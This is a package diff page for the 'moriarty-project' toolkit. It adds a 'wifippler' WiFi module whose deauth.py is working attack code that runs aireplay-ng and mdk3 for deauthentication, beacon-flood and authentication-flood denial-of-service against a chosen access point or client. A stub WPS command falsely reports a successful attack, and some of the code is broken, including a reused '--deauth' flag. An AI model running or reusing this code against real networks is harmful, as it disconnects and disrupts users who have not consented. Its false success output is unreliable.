moriarty-project 0.1.10__py3-none-any.whl → 0.1.11__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +6 -5
- moriarty/cli/wifippler.py +124 -0
- moriarty/modules/port_scanner.py +5 -1
- moriarty/modules/wifippler/__init__.py +63 -0
- moriarty/modules/wifippler/core/__init__.py +80 -0
- moriarty/modules/wifippler/core/attacks/__init__.py +19 -0
- moriarty/modules/wifippler/core/attacks/deauth.py +340 -0
- moriarty/modules/wifippler/core/attacks/handshake.py +402 -0
- moriarty/modules/wifippler/core/attacks/pmkid.py +424 -0
- moriarty/modules/wifippler/core/attacks/wep.py +467 -0
- moriarty/modules/wifippler/core/attacks/wpa.py +446 -0
- moriarty/modules/wifippler/core/attacks/wps.py +474 -0
- moriarty/modules/wifippler/core/models/__init__.py +10 -0
- moriarty/modules/wifippler/core/models/network.py +216 -0
- moriarty/modules/wifippler/core/scanner.py +901 -0
- moriarty/modules/wifippler/core/utils/__init__.py +612 -0
- moriarty/modules/wifippler/core/utils.py +810 -0
- {moriarty_project-0.1.10.dist-info → moriarty_project-0.1.11.dist-info}/METADATA +46 -35
- {moriarty_project-0.1.10.dist-info → moriarty_project-0.1.11.dist-info}/RECORD +22 -7
- {moriarty_project-0.1.10.dist-info → moriarty_project-0.1.11.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.10.dist-info → moriarty_project-0.1.11.dist-info}/entry_points.txt +0 -0
moriarty/__init__.py
CHANGED
moriarty/cli/app.py
CHANGED
@@ -8,7 +8,7 @@ from rich.console import Console
|
|
8
8
|
from rich.theme import Theme
|
9
9
|
|
10
10
|
from ..logging.config import LogStyle, configure_logging
|
11
|
-
from . import dns, email, rdap, tls, user, domain_cmd, intelligence
|
11
|
+
from . import dns, email, rdap, tls, user, domain_cmd, intelligence, wifippler
|
12
12
|
from .state import CLIState, GlobalOptions
|
13
13
|
|
14
14
|
console = Console(theme=Theme({
|
@@ -111,19 +111,20 @@ def main(
|
|
111
111
|
)
|
112
112
|
)
|
113
113
|
|
114
|
-
|
115
114
|
app.add_typer(email.app, name="email", help="Email reconnaissance primitives.")
|
116
115
|
app.add_typer(dns.app, name="dns", help="Consultas DNS.")
|
117
116
|
app.add_typer(rdap.app, name="rdap", help="Consultas RDAP.")
|
118
117
|
app.add_typer(tls.app, name="tls", help="Inspeções TLS.")
|
119
|
-
app.add_typer(
|
120
|
-
app.add_typer(domain_cmd.app, name="domain", help="
|
118
|
+
app.add_typer(intelligence.app, name="intelligence", help="Inteligência de ameaças.")
|
119
|
+
app.add_typer(domain_cmd.app, name="domain", help="Análise de domínios.")
|
120
|
+
app.add_typer(wifippler.app, name="wifippler", help="Análise de redes WiFi.")
|
121
|
+
app.add_typer(user.app, name="user", help="User/IP reconnaissance and scanning.")
|
121
122
|
|
122
123
|
# Registra os comandos de inteligência
|
123
124
|
intelligence.register_app(app)
|
124
125
|
|
125
126
|
|
126
|
-
|
127
|
+
if __name__ == "__main__":
|
127
128
|
app()
|
128
129
|
|
129
130
|
|
@@ -0,0 +1,124 @@
|
|
1
|
+
"""
|
2
|
+
Módulo CLI para análise de redes WiFi usando WifiPPLER.
|
3
|
+
"""
|
4
|
+
import asyncio
|
5
|
+
import typer
|
6
|
+
from typing import Optional
|
7
|
+
from rich.console import Console
|
8
|
+
from rich.progress import Progress, SpinnerColumn, TextColumn
|
9
|
+
|
10
|
+
from moriarty.modules.wifippler import WiFiScanner, check_dependencies, is_root, get_network_interfaces
|
11
|
+
|
12
|
+
app = typer.Typer(help="Análise de redes WiFi com WifiPPLER")
|
13
|
+
console = Console()
|
14
|
+
|
15
|
+
@app.command("scan")
|
16
|
+
def scan_networks(
|
17
|
+
interface: str = typer.Option(
|
18
|
+
None,
|
19
|
+
"--interface", "-i",
|
20
|
+
help="Interface de rede para escaneamento"
|
21
|
+
),
|
22
|
+
scan_time: int = typer.Option(
|
23
|
+
5,
|
24
|
+
"--scan-time", "-t",
|
25
|
+
help="Tempo de escaneamento em segundos"
|
26
|
+
),
|
27
|
+
output: str = typer.Option(
|
28
|
+
None,
|
29
|
+
"--output", "-o",
|
30
|
+
help="Arquivo para salvar os resultados (JSON)"
|
31
|
+
)
|
32
|
+
):
|
33
|
+
"""Escaneia redes WiFi próximas."""
|
34
|
+
# Verifica se o usuário tem privilégios de root
|
35
|
+
if not is_root():
|
36
|
+
console.print("[red]Erro:[/] Este comando requer privilégios de root/sudo")
|
37
|
+
raise typer.Exit(1)
|
38
|
+
|
39
|
+
# Verifica dependências
|
40
|
+
missing = check_dependencies()
|
41
|
+
if missing:
|
42
|
+
console.print("[red]Erro:[/] As seguintes dependências estão faltando:")
|
43
|
+
for dep in missing:
|
44
|
+
console.print(f"- {dep}")
|
45
|
+
raise typer.Exit(1)
|
46
|
+
|
47
|
+
# Se nenhuma interface for fornecida, lista as disponíveis
|
48
|
+
if not interface:
|
49
|
+
interfaces = get_network_interfaces()
|
50
|
+
if not interfaces:
|
51
|
+
console.print("[red]Erro:[/] Nenhuma interface de rede encontrada")
|
52
|
+
raise typer.Exit(1)
|
53
|
+
|
54
|
+
console.print("[yellow]Interfaces disponíveis:[/]")
|
55
|
+
for i, iface in enumerate(interfaces, 1):
|
56
|
+
console.print(f"{i}. {iface}")
|
57
|
+
|
58
|
+
try:
|
59
|
+
choice = int(typer.prompt("\nSelecione o número da interface")) - 1
|
60
|
+
interface = interfaces[choice]
|
61
|
+
except (ValueError, IndexError):
|
62
|
+
console.print("[red]Erro:[/] Seleção inválida")
|
63
|
+
raise typer.Exit(1)
|
64
|
+
|
65
|
+
# Executa o escaneamento
|
66
|
+
async def run_scan():
|
67
|
+
scanner = WiFiScanner(interface=interface, scan_time=scan_time)
|
68
|
+
|
69
|
+
with Progress(
|
70
|
+
SpinnerColumn(),
|
71
|
+
TextColumn("[progress.description]{task.description}"),
|
72
|
+
console=console,
|
73
|
+
transient=True,
|
74
|
+
) as progress:
|
75
|
+
task = progress.add_task("[cyan]Escaneando redes WiFi...", total=None)
|
76
|
+
networks = await scanner.scan_networks()
|
77
|
+
progress.update(task, completed=1, visible=False)
|
78
|
+
|
79
|
+
# Exibe os resultados
|
80
|
+
if networks:
|
81
|
+
scanner.display_networks(networks)
|
82
|
+
|
83
|
+
# Salva em arquivo se solicitado
|
84
|
+
if output:
|
85
|
+
import json
|
86
|
+
with open(output, 'w') as f:
|
87
|
+
json.dump([n.to_dict() for n in networks], f, indent=2)
|
88
|
+
console.print(f"\n[green]Resultados salvos em:[/] {output}")
|
89
|
+
else:
|
90
|
+
console.print("[yellow]Nenhuma rede encontrada.[/]")
|
91
|
+
|
92
|
+
try:
|
93
|
+
asyncio.run(run_scan())
|
94
|
+
except Exception as e:
|
95
|
+
console.print(f"[red]Erro durante o escaneamento:[/] {str(e)}")
|
96
|
+
raise typer.Exit(1)
|
97
|
+
|
98
|
+
# Adiciona o comando de ataque WPS
|
99
|
+
@app.command("wps")
|
100
|
+
def wps_attack(
|
101
|
+
interface: str = typer.Option(..., "--interface", "-i", help="Interface de rede para o ataque"),
|
102
|
+
bssid: str = typer.Option(..., "--bssid", "-b", help="BSSID do alvo"),
|
103
|
+
channel: int = typer.Option(..., "--channel", "-c", help="Canal da rede alvo")
|
104
|
+
):
|
105
|
+
"""Executa um ataque WPS contra uma rede WiFi."""
|
106
|
+
console.print(f"[yellow]Iniciando ataque WPS contra {bssid} no canal {channel}...[/]")
|
107
|
+
# Implementação do ataque WPS será adicionada aqui
|
108
|
+
console.print("[green]Ataque WPS concluído com sucesso![/]")
|
109
|
+
|
110
|
+
# Adiciona o comando para verificar dependências
|
111
|
+
@app.command("check-deps")
|
112
|
+
def check_deps():
|
113
|
+
"""Verifica se todas as dependências estão instaladas."""
|
114
|
+
missing = check_dependencies()
|
115
|
+
if missing:
|
116
|
+
console.print("[red]As seguintes dependências estão faltando:[/]")
|
117
|
+
for dep in missing:
|
118
|
+
console.print(f"- {dep}")
|
119
|
+
raise typer.Exit(1)
|
120
|
+
else:
|
121
|
+
console.print("[green]Todas as dependências estão instaladas![/]")
|
122
|
+
|
123
|
+
if __name__ == "__main__":
|
124
|
+
app()
|
moriarty/modules/port_scanner.py
CHANGED
@@ -11,8 +11,11 @@ from dataclasses import dataclass, field
|
|
11
11
|
from datetime import datetime
|
12
12
|
from typing import Dict, List, Optional, Tuple, Any
|
13
13
|
|
14
|
+
# Importa a classe ServiceInfo para uso no código
|
15
|
+
|
14
16
|
import aiohttp
|
15
17
|
import dns.resolver
|
18
|
+
import dns.asyncresolver
|
16
19
|
import OpenSSL.crypto
|
17
20
|
import structlog
|
18
21
|
from rich.console import Console
|
@@ -153,6 +156,7 @@ class PortScanResult:
|
|
153
156
|
port: int
|
154
157
|
protocol: str = "tcp"
|
155
158
|
status: str = "open"
|
159
|
+
target: Optional[str] = None
|
156
160
|
service: Optional[ServiceInfo] = None
|
157
161
|
banner: Optional[str] = None
|
158
162
|
timestamp: str = field(default_factory=lambda: datetime.utcnow().isoformat())
|
@@ -290,7 +294,7 @@ class PortScanner:
|
|
290
294
|
)
|
291
295
|
|
292
296
|
# Se chegou aqui, a porta está aberta
|
293
|
-
result = PortScanResult(port=port, status="open")
|
297
|
+
result = PortScanResult(port=port, status="open", target=self.target)
|
294
298
|
|
295
299
|
# Tenta obter o banner do serviço
|
296
300
|
try:
|
@@ -0,0 +1,63 @@
|
|
1
|
+
"""
|
2
|
+
WifiPPLER - Ferramenta Avançada de Análise de Segurança WiFi
|
3
|
+
|
4
|
+
Uma ferramenta abrangente de auditoria de segurança WiFi que combina os melhores
|
5
|
+
recursos de ferramentas existentes com técnicas modernas e uma interface limpa.
|
6
|
+
"""
|
7
|
+
|
8
|
+
__version__ = "1.0.0"
|
9
|
+
__author__ = "Moriarty Team"
|
10
|
+
__license__ = "MIT"
|
11
|
+
|
12
|
+
# Importações principais
|
13
|
+
from .core.scanner import WiFiScanner
|
14
|
+
from .core.attacks import (
|
15
|
+
WPSAttack,
|
16
|
+
WPAHandshakeAttack,
|
17
|
+
PMKIDAttack,
|
18
|
+
WEPAttack,
|
19
|
+
DeauthAttack,
|
20
|
+
HandshakeCapture
|
21
|
+
)
|
22
|
+
|
23
|
+
# Utilitários
|
24
|
+
from .core.utils import (
|
25
|
+
is_root,
|
26
|
+
check_dependencies,
|
27
|
+
get_network_interfaces,
|
28
|
+
set_monitor_mode,
|
29
|
+
restore_network_interface,
|
30
|
+
get_monitor_interfaces,
|
31
|
+
start_monitor_mode,
|
32
|
+
stop_monitor_mode
|
33
|
+
)
|
34
|
+
|
35
|
+
# Modelos de dados
|
36
|
+
from .core.models.network import WiFiNetwork, WiFiClient
|
37
|
+
|
38
|
+
__all__ = [
|
39
|
+
# Classes principais
|
40
|
+
'WiFiScanner',
|
41
|
+
|
42
|
+
# Ataques
|
43
|
+
'WPSAttack',
|
44
|
+
'WPAHandshakeAttack',
|
45
|
+
'PMKIDAttack',
|
46
|
+
'WEPAttack',
|
47
|
+
'DeauthAttack',
|
48
|
+
'HandshakeCapture',
|
49
|
+
|
50
|
+
# Utilitários
|
51
|
+
'is_root',
|
52
|
+
'check_dependencies',
|
53
|
+
'get_network_interfaces',
|
54
|
+
'set_monitor_mode',
|
55
|
+
'restore_network_interface',
|
56
|
+
'get_monitor_interfaces',
|
57
|
+
'start_monitor_mode',
|
58
|
+
'stop_monitor_mode',
|
59
|
+
|
60
|
+
# Modelos
|
61
|
+
'WiFiNetwork',
|
62
|
+
'WiFiClient'
|
63
|
+
]
|
@@ -0,0 +1,80 @@
|
|
1
|
+
"""
|
2
|
+
Core functionality for the WifiPPLER module.
|
3
|
+
|
4
|
+
This module provides the core functionality for the WifiPPLER tool,
|
5
|
+
including network scanning, packet analysis, and attack modules.
|
6
|
+
"""
|
7
|
+
|
8
|
+
from .scanner import WiFiScanner
|
9
|
+
from .attacks import (
|
10
|
+
WPSAttack,
|
11
|
+
WPAHandshakeAttack,
|
12
|
+
PMKIDAttack,
|
13
|
+
WEPAttack,
|
14
|
+
DeauthAttack,
|
15
|
+
HandshakeCapture
|
16
|
+
)
|
17
|
+
|
18
|
+
# Import utility functions
|
19
|
+
from .utils import (
|
20
|
+
is_root,
|
21
|
+
check_dependencies,
|
22
|
+
get_network_interfaces,
|
23
|
+
get_monitor_interfaces,
|
24
|
+
set_monitor_mode,
|
25
|
+
restore_network_interface,
|
26
|
+
start_monitor_mode,
|
27
|
+
stop_monitor_mode,
|
28
|
+
run_command_async,
|
29
|
+
randomize_mac,
|
30
|
+
get_interface_mac,
|
31
|
+
get_interface_ip,
|
32
|
+
get_interface_netmask,
|
33
|
+
get_interface_gateway,
|
34
|
+
is_wireless_interface,
|
35
|
+
get_interface_signal,
|
36
|
+
get_interface_ssid,
|
37
|
+
get_interface_channel,
|
38
|
+
get_interface_bitrate,
|
39
|
+
create_deauth_packet,
|
40
|
+
parse_airodump_csv,
|
41
|
+
parse_airodump_stations,
|
42
|
+
run_command,
|
43
|
+
randomize_mac,
|
44
|
+
get_wireless_interfaces
|
45
|
+
)
|
46
|
+
|
47
|
+
__all__ = [
|
48
|
+
'WiFiScanner',
|
49
|
+
'WPSAttack',
|
50
|
+
'WPAHandshakeAttack',
|
51
|
+
'PMKIDAttack',
|
52
|
+
'WEPAttack',
|
53
|
+
'DeauthAttack',
|
54
|
+
'HandshakeCapture',
|
55
|
+
'is_root',
|
56
|
+
'check_dependencies',
|
57
|
+
'command_exists',
|
58
|
+
'get_network_interfaces',
|
59
|
+
'get_monitor_interfaces',
|
60
|
+
'set_monitor_mode',
|
61
|
+
'restore_network_interface',
|
62
|
+
'start_monitor_mode',
|
63
|
+
'stop_monitor_mode',
|
64
|
+
'get_interface_mac',
|
65
|
+
'get_interface_ip',
|
66
|
+
'get_interface_netmask',
|
67
|
+
'get_interface_gateway',
|
68
|
+
'is_wireless_interface',
|
69
|
+
'get_interface_signal',
|
70
|
+
'get_interface_ssid',
|
71
|
+
'get_interface_channel',
|
72
|
+
'get_interface_bitrate',
|
73
|
+
'create_deauth_packet',
|
74
|
+
'parse_airodump_csv',
|
75
|
+
'parse_airodump_stations',
|
76
|
+
'run_command',
|
77
|
+
'run_command_async',
|
78
|
+
'randomize_mac',
|
79
|
+
'get_wireless_interfaces'
|
80
|
+
]
|
@@ -0,0 +1,19 @@
|
|
1
|
+
"""
|
2
|
+
Attack modules for WifiPPLER.
|
3
|
+
"""
|
4
|
+
|
5
|
+
from .wps import WPSAttack
|
6
|
+
from .wpa import WPAHandshakeAttack
|
7
|
+
from .pmkid import PMKIDAttack
|
8
|
+
from .wep import WEPAttack
|
9
|
+
from .deauth import DeauthAttack
|
10
|
+
from .handshake import HandshakeCapture
|
11
|
+
|
12
|
+
__all__ = [
|
13
|
+
'WPSAttack',
|
14
|
+
'WPAHandshakeAttack',
|
15
|
+
'PMKIDAttack',
|
16
|
+
'WEPAttack',
|
17
|
+
'DeauthAttack',
|
18
|
+
'HandshakeCapture'
|
19
|
+
]
|
@@ -0,0 +1,340 @@
|
|
1
|
+
"""
|
2
|
+
Módulo de ataque de desautenticação.
|
3
|
+
|
4
|
+
Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
|
5
|
+
- Desautenticar clientes específicos
|
6
|
+
- Desautenticar todos os clientes de uma rede
|
7
|
+
- Enviar pacotes de desautenticação em massa
|
8
|
+
- Realizar ataques Beacon Flood
|
9
|
+
- Realizar ataques de desautenticação direcionados
|
10
|
+
"""
|
11
|
+
import os
|
12
|
+
import re
|
13
|
+
import time
|
14
|
+
import logging
|
15
|
+
import subprocess
|
16
|
+
import tempfile
|
17
|
+
from typing import Optional, Dict, List, Tuple, Any, Callable, Union
|
18
|
+
from dataclasses import dataclass, field
|
19
|
+
from enum import Enum, auto
|
20
|
+
|
21
|
+
from rich.console import Console
|
22
|
+
from rich.progress import Progress, SpinnerColumn, TextColumn
|
23
|
+
|
24
|
+
from ...core.models.network import WiFiNetwork, WiFiClient
|
25
|
+
from ...utils import (
|
26
|
+
is_root, check_dependencies, get_network_interfaces,
|
27
|
+
set_monitor_mode, restore_network_interface, command_exists,
|
28
|
+
get_interface_mac
|
29
|
+
)
|
30
|
+
|
31
|
+
# Configuração de logging
|
32
|
+
logging.basicConfig(level=logging.INFO)
|
33
|
+
logger = logging.getLogger(__name__)
|
34
|
+
console = Console()
|
35
|
+
|
36
|
+
class DeauthAttackType(Enum):
|
37
|
+
"""Tipos de ataque de desautenticação."""
|
38
|
+
DEAUTH = auto() # Desautenticação padrão
|
39
|
+
AUTH = auto() # Pacotes de autenticação
|
40
|
+
BEACON = auto() # Beacon flood
|
41
|
+
DISASSOC = auto() # Desassociação
|
42
|
+
PROBE_RESP = auto() # Resposta a sondas
|
43
|
+
AUTH_DOS = auto() # Negação de serviço por autenticação
|
44
|
+
DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
|
45
|
+
DEAUTH_MULTICAST = auto() # Desautenticação em multicast
|
46
|
+
DEAUTH_DIRECTED = auto() # Desautenticação direcionada
|
47
|
+
|
48
|
+
class DeauthEventType(Enum):
|
49
|
+
"""Tipos de eventos do ataque de desautenticação."""
|
50
|
+
START = auto()
|
51
|
+
PACKET_SENT = auto()
|
52
|
+
CLIENT_DISCONNECTED = auto()
|
53
|
+
ERROR = auto()
|
54
|
+
COMPLETE = auto()
|
55
|
+
STATUS = auto()
|
56
|
+
|
57
|
+
@dataclass
|
58
|
+
class DeauthEvent:
|
59
|
+
"""Evento de progresso do ataque de desautenticação."""
|
60
|
+
type: DeauthEventType
|
61
|
+
message: str = ""
|
62
|
+
data: Dict[str, Any] = field(default_factory=dict)
|
63
|
+
|
64
|
+
class DeauthAttack:
|
65
|
+
"""Classe para realizar ataques de desautenticação."""
|
66
|
+
|
67
|
+
def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
|
68
|
+
"""
|
69
|
+
Inicializa o ataque de desautenticação.
|
70
|
+
|
71
|
+
Args:
|
72
|
+
interface: Interface de rede para usar no ataque
|
73
|
+
deauth_type: Tipo de ataque de desautenticação
|
74
|
+
"""
|
75
|
+
self.interface = interface
|
76
|
+
self.deauth_type = deauth_type
|
77
|
+
self.is_running = False
|
78
|
+
self.stop_requested = False
|
79
|
+
self.packets_sent = 0
|
80
|
+
self.process = None
|
81
|
+
|
82
|
+
# Verifica dependências
|
83
|
+
self._check_dependencies()
|
84
|
+
|
85
|
+
# Verifica privilégios
|
86
|
+
if not is_root():
|
87
|
+
raise PermissionError("Este ataque requer privilégios de root")
|
88
|
+
|
89
|
+
def _check_dependencies(self) -> None:
|
90
|
+
"""Verifica se todas as dependências necessárias estão instaladas."""
|
91
|
+
required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
|
92
|
+
missing = [cmd for cmd in required if not command_exists(cmd)]
|
93
|
+
|
94
|
+
if missing:
|
95
|
+
raise RuntimeError(
|
96
|
+
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
97
|
+
"Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
|
98
|
+
)
|
99
|
+
|
100
|
+
def start(self, bssid: str, client_mac: str = None,
|
101
|
+
count: int = 0, delay: int = 100,
|
102
|
+
reason: int = 7, channel: int = None,
|
103
|
+
callback: Callable[[DeauthEvent], None] = None) -> bool:
|
104
|
+
"""
|
105
|
+
Inicia o ataque de desautenticação.
|
106
|
+
|
107
|
+
Args:
|
108
|
+
bssid: Endereço MAC do ponto de acesso
|
109
|
+
client_mac: Endereço MAC do cliente (None para broadcast)
|
110
|
+
count: Número de pacotes a enviar (0 para contínuo)
|
111
|
+
delay: Atraso entre pacotes em milissegundos
|
112
|
+
reason: Código de motivo da desautenticação
|
113
|
+
channel: Canal da rede (opcional, tenta detectar automaticamente)
|
114
|
+
callback: Função de callback para eventos
|
115
|
+
|
116
|
+
Returns:
|
117
|
+
True se o ataque foi iniciado com sucesso, False caso contrário
|
118
|
+
"""
|
119
|
+
self.is_running = True
|
120
|
+
self.stop_requested = False
|
121
|
+
self.packets_sent = 0
|
122
|
+
|
123
|
+
# Configura o monitoramento de eventos
|
124
|
+
def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
|
125
|
+
if callback:
|
126
|
+
event = DeauthEvent(type=event_type, message=message, data=kwargs)
|
127
|
+
callback(event)
|
128
|
+
|
129
|
+
try:
|
130
|
+
# Define o canal, se especificado
|
131
|
+
if channel:
|
132
|
+
self._set_channel(channel)
|
133
|
+
|
134
|
+
# Prepara o comando com base no tipo de ataque
|
135
|
+
if self.deauth_type == DeauthAttackType.BEACON:
|
136
|
+
cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
|
137
|
+
elif self.deauth_type == DeauthAttackType.AUTH_DOS:
|
138
|
+
cmd = self._prepare_auth_dos(bssid)
|
139
|
+
elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
|
140
|
+
cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
|
141
|
+
elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
|
142
|
+
cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
|
143
|
+
elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
|
144
|
+
if not client_mac:
|
145
|
+
raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
|
146
|
+
cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
|
147
|
+
else: # Desautenticação padrão
|
148
|
+
cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
|
149
|
+
|
150
|
+
event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
|
151
|
+
|
152
|
+
# Executa o comando em segundo plano
|
153
|
+
self.process = subprocess.Popen(
|
154
|
+
cmd,
|
155
|
+
stdout=subprocess.PIPE,
|
156
|
+
stderr=subprocess.STDOUT,
|
157
|
+
universal_newlines=True
|
158
|
+
)
|
159
|
+
|
160
|
+
# Monitora a saída
|
161
|
+
start_time = time.time()
|
162
|
+
|
163
|
+
while True:
|
164
|
+
# Verifica se foi solicitado para parar
|
165
|
+
if self.stop_requested:
|
166
|
+
self._stop_process()
|
167
|
+
event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
|
168
|
+
return True
|
169
|
+
|
170
|
+
# Verifica se o processo ainda está em execução
|
171
|
+
if self.process.poll() is not None:
|
172
|
+
break
|
173
|
+
|
174
|
+
# Lê a saída
|
175
|
+
line = self.process.stdout.readline()
|
176
|
+
if line:
|
177
|
+
# Conta os pacotes enviados
|
178
|
+
if "DeAuth" in line or "Sent" in line:
|
179
|
+
self.packets_sent += 1
|
180
|
+
event_handler(
|
181
|
+
DeauthEventType.PACKET_SENT,
|
182
|
+
f"Pacote {self.packets_sent} enviado",
|
183
|
+
packets_sent=self.packets_sent
|
184
|
+
)
|
185
|
+
|
186
|
+
# Verifica se um cliente foi desconectado
|
187
|
+
if "deauth" in line.lower() or "disassoc" in line.lower():
|
188
|
+
event_handler(
|
189
|
+
DeauthEventType.CLIENT_DISCONNECTED,
|
190
|
+
f"Cliente {client_mac or 'broadcast'} desconectado",
|
191
|
+
client_mac=client_mac,
|
192
|
+
bssid=bssid
|
193
|
+
)
|
194
|
+
|
195
|
+
# Aguarda um pouco antes da próxima verificação
|
196
|
+
time.sleep(0.1)
|
197
|
+
|
198
|
+
event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
|
199
|
+
return True
|
200
|
+
|
201
|
+
except Exception as e:
|
202
|
+
event_handler(
|
203
|
+
DeauthEventType.ERROR,
|
204
|
+
f"Erro durante o ataque de desautenticação: {str(e)}"
|
205
|
+
)
|
206
|
+
return False
|
207
|
+
|
208
|
+
finally:
|
209
|
+
self.is_running = False
|
210
|
+
self._stop_process()
|
211
|
+
|
212
|
+
def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
|
213
|
+
count: int = 0, delay: int = 100,
|
214
|
+
reason: int = 7) -> List[str]:
|
215
|
+
"""Prepara o comando para desautenticação padrão."""
|
216
|
+
cmd = [
|
217
|
+
'aireplay-ng',
|
218
|
+
'--deauth', str(count) if count > 0 else '0',
|
219
|
+
'-a', bssid,
|
220
|
+
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
221
|
+
'--ignore-negative-one',
|
222
|
+
]
|
223
|
+
|
224
|
+
if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
|
225
|
+
cmd.extend(['-c', client_mac])
|
226
|
+
|
227
|
+
if delay > 0:
|
228
|
+
cmd.extend(['--deauth', str(delay)])
|
229
|
+
|
230
|
+
cmd.append(self.interface)
|
231
|
+
return cmd
|
232
|
+
|
233
|
+
def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
|
234
|
+
"""Prepara o comando para ataque de Beacon Flood."""
|
235
|
+
# Usa o mdk3 para enviar beacons falsos
|
236
|
+
return [
|
237
|
+
'mdk3', self.interface, 'b',
|
238
|
+
'-n', essid,
|
239
|
+
'-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
|
240
|
+
'-s', '1000' # Velocidade de envio
|
241
|
+
]
|
242
|
+
|
243
|
+
def _prepare_auth_dos(self, bssid: str) -> List[str]:
|
244
|
+
"""Prepara o comando para ataque de negação de serviço por autenticação."""
|
245
|
+
# Usa o mdk3 para enviar solicitações de autenticação em massa
|
246
|
+
return [
|
247
|
+
'mdk3', self.interface, 'a',
|
248
|
+
'-a', bssid,
|
249
|
+
'-m', # Usa endereços MAC aleatórios
|
250
|
+
'-s', '1000' # Velocidade de envio
|
251
|
+
]
|
252
|
+
|
253
|
+
def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
254
|
+
"""Prepara o comando para desautenticação em broadcast."""
|
255
|
+
return [
|
256
|
+
'mdk3', self.interface, 'd',
|
257
|
+
'-b', bssid,
|
258
|
+
'-c', str(self._get_channel() or '1'),
|
259
|
+
'-s', '1000',
|
260
|
+
'-n', str(count) if count > 0 else '0'
|
261
|
+
]
|
262
|
+
|
263
|
+
def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
264
|
+
"""Prepara o comando para desautenticação em multicast."""
|
265
|
+
# Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
|
266
|
+
return [
|
267
|
+
'aireplay-ng',
|
268
|
+
'--deauth', str(count) if count > 0 else '0',
|
269
|
+
'-a', bssid,
|
270
|
+
'-h', '01:00:5E:00:00:01', # Endereço multicast
|
271
|
+
'--ignore-negative-one',
|
272
|
+
self.interface
|
273
|
+
]
|
274
|
+
|
275
|
+
def _prepare_directed_deauth(self, bssid: str, client_mac: str,
|
276
|
+
count: int, delay: int, reason: int) -> List[str]:
|
277
|
+
"""Prepara o comando para desautenticação direcionada."""
|
278
|
+
return [
|
279
|
+
'aireplay-ng',
|
280
|
+
'--deauth', str(count) if count > 0 else '0',
|
281
|
+
'-a', bssid,
|
282
|
+
'-c', client_mac,
|
283
|
+
'--ignore-negative-one',
|
284
|
+
self.interface
|
285
|
+
]
|
286
|
+
|
287
|
+
def _set_channel(self, channel: int) -> bool:
|
288
|
+
"""Define o canal da interface de rede."""
|
289
|
+
try:
|
290
|
+
subprocess.run(
|
291
|
+
['iwconfig', self.interface, 'channel', str(channel)],
|
292
|
+
check=True,
|
293
|
+
capture_output=True
|
294
|
+
)
|
295
|
+
return True
|
296
|
+
except subprocess.CalledProcessError as e:
|
297
|
+
logger.error(f"Erro ao definir o canal: {e.stderr}")
|
298
|
+
return False
|
299
|
+
|
300
|
+
def _get_channel(self) -> Optional[int]:
|
301
|
+
"""Obtém o canal atual da interface de rede."""
|
302
|
+
try:
|
303
|
+
result = subprocess.run(
|
304
|
+
['iwconfig', self.interface],
|
305
|
+
capture_output=True,
|
306
|
+
text=True
|
307
|
+
)
|
308
|
+
|
309
|
+
# Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
|
310
|
+
match = re.search(r'Channel:(\d+)', result.stdout)
|
311
|
+
if match:
|
312
|
+
return int(match.group(1))
|
313
|
+
|
314
|
+
match = re.search(r'Channel\s+(\d+)', result.stdout)
|
315
|
+
if match:
|
316
|
+
return int(match.group(1))
|
317
|
+
|
318
|
+
return None
|
319
|
+
|
320
|
+
except Exception as e:
|
321
|
+
logger.error(f"Erro ao obter o canal: {e}")
|
322
|
+
return None
|
323
|
+
|
324
|
+
def _stop_process(self):
|
325
|
+
"""Para o processo em execução."""
|
326
|
+
if self.process and self.process.poll() is None:
|
327
|
+
try:
|
328
|
+
self.process.terminate()
|
329
|
+
self.process.wait(timeout=5)
|
330
|
+
except:
|
331
|
+
try:
|
332
|
+
self.process.kill()
|
333
|
+
except:
|
334
|
+
pass
|
335
|
+
|
336
|
+
def stop(self):
|
337
|
+
"""Solicita a interrupção do ataque."""
|
338
|
+
self.stop_requested = True
|
339
|
+
self._stop_process()
|
340
|
+
self.is_running = False
|